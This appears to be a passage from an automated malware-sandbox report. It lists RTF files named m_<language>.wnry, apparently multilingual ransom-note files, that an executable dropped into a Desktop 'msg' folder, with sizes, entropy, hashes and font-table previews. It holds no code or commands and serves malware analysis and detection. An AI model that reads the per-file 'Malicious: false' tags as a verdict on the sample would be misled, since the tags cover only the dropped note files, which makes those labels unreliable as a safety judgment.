                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_dutch.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):36987
                                      Entropy (8bit):5.036160205965849
                                      Encrypted:false
                                      SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdp2oG2/CzhReo75Y3kmA31dv61Qyz:Sw3BHSWjHdBG2/UhsZrS14f
                                      MD5:7A8D499407C6A647C03C4471A67EAAD7
                                      SHA1:D573B6AC8E7E04A05CBBD6B7F6A9842F371D343B
                                      SHA-256:2C95BEF914DA6C50D7BDEDEC601E589FBB4FDA24C4863A7260F4F72BD025799C
                                      SHA-512:608EF3FF0A517FE1E70FF41AEB277821565C5A9BEE5103AA5E45C68D4763FCE507C2A34D810F4CD242D163181F8341D9A69E93FE32ADED6FBC7F544C55743F12
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                      C:\Users\user\Desktop\msg\m_english.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):36973
                                      Entropy (8bit):5.040611616416892
                                      Encrypted:false
                                      SSDEEP:384:S93BHSj2cguALeT+sPzy3EFHjHdM2EG2YLC7O3eo75Y3kmA31dv61QyW:S93BHSTjHd0G2YLCZrS14y
                                      MD5:FE68C2DC0D2419B38F44D83F2FCF232E
                                      SHA1:6C6E49949957215AA2F3DFB72207D249ADF36283
                                      SHA-256:26FD072FDA6E12F8C2D3292086EF0390785EFA2C556E2A88BD4673102AF703E5
                                      SHA-512:941FA0A1F6A5756ED54260994DB6158A7EBEB9E18B5C8CA2F6530C579BC4455918DF0B38C609F501CA466B3CC067B40E4B861AD6513373B483B36338AE20A810
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhim

                                      C:\Users\user\Desktop\msg\m_filipino.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):37580
                                      Entropy (8bit):5.0458193216786
                                      Encrypted:false
                                      SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdi2MG2AGsi6p07i/eo75Y3kmA31dv61QyR:Sw3BHSWjHdGG2Axa7iGZrS14N
                                      MD5:08B9E69B57E4C9B966664F8E1C27AB09
                                      SHA1:2DA1025BBBFB3CD308070765FC0893A48E5A85FA
                                      SHA-256:D8489F8C16318E524B45DE8B35D7E2C3CD8ED4821C136F12F5EF3C9FC3321324
                                      SHA-512:966B5ED68BE6B5CCD46E0DE1FA868CFE5432D9BF82E1E2F6EB99B2AEF3C92F88D96F4F4EEC5E16381B9C6DB80A68071E7124CA1474D664BDD77E1817EC600CB4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                      C:\Users\user\Desktop\msg\m_finnish.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):38377
                                      Entropy (8bit):5.030938473355282
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2oG2l1glOmeo75Y3kmA31dv61QyB:Shef3jHdMG2l1AO3ZrS14l
                                      MD5:35C2F97EEA8819B1CAEBD23FEE732D8F
                                      SHA1:E354D1CC43D6A39D9732ADEA5D3B0F57284255D2
                                      SHA-256:1ADFEE058B98206CB4FBE1A46D3ED62A11E1DEE2C7FF521C1EEF7C706E6A700E
                                      SHA-512:908149A6F5238FCCCD86F7C374986D486590A0991EF5243F0CD9E63CC8E208158A9A812665233B09C3A478233D30F21E3D355B94F36B83644795556F147345BF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_french.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):38437
                                      Entropy (8bit):5.031126676607223
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdtW2IG2sjqMeo75Y3kmA31dv61Qyg:Shef3jHd0G2smJZrS14M
                                      MD5:4E57113A6BF6B88FDD32782A4A381274
                                      SHA1:0FCCBC91F0F94453D91670C6794F71348711061D
                                      SHA-256:9BD38110E6523547AED50617DDC77D0920D408FAEED2B7A21AB163FDA22177BC
                                      SHA-512:4F1918A12269C654D44E9D394BC209EF0BC32242BE8833A2FBA437B879125177E149F56F2FB0C302330DEC328139B34982C04B3FEFB045612B6CC9F83EC85AA9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_german.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):37181
                                      Entropy (8bit):5.039739267952546
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdN26G2VSA1Ieo75Y3kmA31dv61QyU:Shef3jHdfG2oe1ZrS14w
                                      MD5:3D59BBB5553FE03A89F817819540F469
                                      SHA1:26781D4B06FF704800B463D0F1FCA3AFD923A9FE
                                      SHA-256:2ADC900FAFA9938D85CE53CB793271F37AF40CF499BCC454F44975DB533F0B61
                                      SHA-512:95719AE80589F71209BB3CB953276538040E7111B994D757B0A24283AEFE27AADBBE9EEF3F1F823CE4CABC1090946D4A2A558607AC6CAC6FACA5971529B34DAC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_greek.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):49044
                                      Entropy (8bit):4.910095634621579
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdc2oG2WWDFFG5BwKeo75Y3kmA31dv61QyM:Shef3jHdoG2NHG5BwLZrS14Q
                                      MD5:FB4E8718FEA95BB7479727FDE80CB424
                                      SHA1:1088C7653CBA385FE994E9AE34A6595898F20AEB
                                      SHA-256:E13CC9B13AA5074DC45D50379ECEB17EE39A0C2531AB617D93800FE236758CA9
                                      SHA-512:24DB377AF1569E4E2B2EBCCEC42564CEA95A30F1FF43BCAF25A692F99567E027BCEF4AACEF008EC5F64EA2EEF0C04BE88D2B30BCADABB3919B5F45A6633940CB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_indonesian.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):37196
                                      Entropy (8bit):5.039268541932758
                                      Encrypted:false
                                      SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdY2oG2pq32eo75Y3kmA31dv61Qys:Sw3BHSWjHdUG2pq3nZrS14I
                                      MD5:3788F91C694DFC48E12417CE93356B0F
                                      SHA1:EB3B87F7F654B604DAF3484DA9E02CA6C4EA98B7
                                      SHA-256:23E5E738AAD10FB8EF89AA0285269AFF728070080158FD3E7792FE9ED47C51F4
                                      SHA-512:B7DD9E6DC7C2D023FF958CAF132F0544C76FAE3B2D8E49753257676CC541735807B4BEFDF483BCAE94C2DCDE3C878C783B4A89DCA0FECBC78F5BBF7C356F35CD
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                      C:\Users\user\Desktop\msg\m_italian.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):36883
                                      Entropy (8bit):5.028048191734335
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdR2AG2c/EnByeo75Y3kmA31dv61Qy9:Shef3jHdJG2cQZrS14R
                                      MD5:30A200F78498990095B36F574B6E8690
                                      SHA1:C4B1B3C087BD12B063E98BCA464CD05F3F7B7882
                                      SHA-256:49F2C739E7D9745C0834DC817A71BF6676CCC24A4C28DCDDF8844093AAB3DF07
                                      SHA-512:C0DA2AAE82C397F6943A0A7B838F60EEEF8F57192C5F498F2ECF05DB824CFEB6D6CA830BF3715DA7EE400AA8362BD64DC835298F3F0085AE7A744E6E6C690511
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_japanese.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):81844
                                      Entropy (8bit):4.85025787009624
                                      Encrypted:false
                                      SSDEEP:384:SXZ0j2cKKwd1lksPzy3EFHjHdI2MG275rQeo75Y3kmA31dv61Qyr:SXZ0qbjHd4G2RNZrS14P
                                      MD5:B77E1221F7ECD0B5D696CB66CDA1609E
                                      SHA1:51EB7A254A33D05EDF188DED653005DC82DE8A46
                                      SHA-256:7E491E7B48D6E34F916624C1CDA9F024E86FCBEC56ACDA35E27FA99D530D017E
                                      SHA-512:F435FD67954787E6B87460DB026759410FBD25B2F6EA758118749C113A50192446861A114358443A129BE817020B50F21D27B1EBD3D22C7BE62082E8B45223FC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 02020609040205080304}MS Mincho{\*\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f44\fbidi \froman\fcharset129\fprq2{\*\panose 020306000001

                                      C:\Users\user\Desktop\msg\m_korean.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):91501
                                      Entropy (8bit):4.841830504507431
                                      Encrypted:false
                                      SSDEEP:768:Shef3jHdUG2NQcbxfSVZiG9jvi3//ZVrMQr7pEKCHSI2DsY78piTDtTa6BxzBwdY:SheiaDq
                                      MD5:6735CB43FE44832B061EEB3F5956B099
                                      SHA1:D636DAF64D524F81367EA92FDAFA3726C909BEE1
                                      SHA-256:552AA0F82F37C9601114974228D4FC54F7434FE3AE7A276EF1AE98A0F608F1D0
                                      SHA-512:60272801909DBBA21578B22C49F6B0BA8CD0070F116476FF35B3AC8347B987790E4CC0334724244C4B13415A246E77A577230029E4561AE6F04A598C3F536C7E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_latvian.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):41169
                                      Entropy (8bit):5.030695296195755
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdcqH24G2ZN1EDCv3Apb0WD5gYV/S4L3rnzdeo75Y3f:Shef3jHdcMG2NpZrS14F
                                      MD5:C33AFB4ECC04EE1BCC6975BEA49ABE40
                                      SHA1:FBEA4F170507CDE02B839527EF50B7EC74B4821F
                                      SHA-256:A0356696877F2D94D645AE2DF6CE6B370BD5C0D6DB3D36DEF44E714525DE0536
                                      SHA-512:0D435F0836F61A5FF55B78C02FA47B191E5807A79D8A6E991F3115743DF2141B3DB42BA8BDAD9AD259E12F5800828E9E72D7C94A6A5259312A447D669B03EC44
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_norwegian.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):37577
                                      Entropy (8bit):5.025836823617116
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdy2MG2D7mgwroXeo75Y3kmA31dv61Qy5:Shef3jHdGG23KrDZrS14N
                                      MD5:FF70CC7C00951084175D12128CE02399
                                      SHA1:75AD3B1AD4FB14813882D88E952208C648F1FD18
                                      SHA-256:CB5DA96B3DFCF4394713623DBF3831B2A0B8BE63987F563E1C32EDEB74CB6C3A
                                      SHA-512:F01DF3256D49325E5EC49FD265AA3F176020C8FFEC60EB1D828C75A3FA18FF8634E1DE824D77DFDD833768ACFF1F547303104620C70066A2708654A07EF22E19
                                      Malicious:false
                                      Reputation:unknown
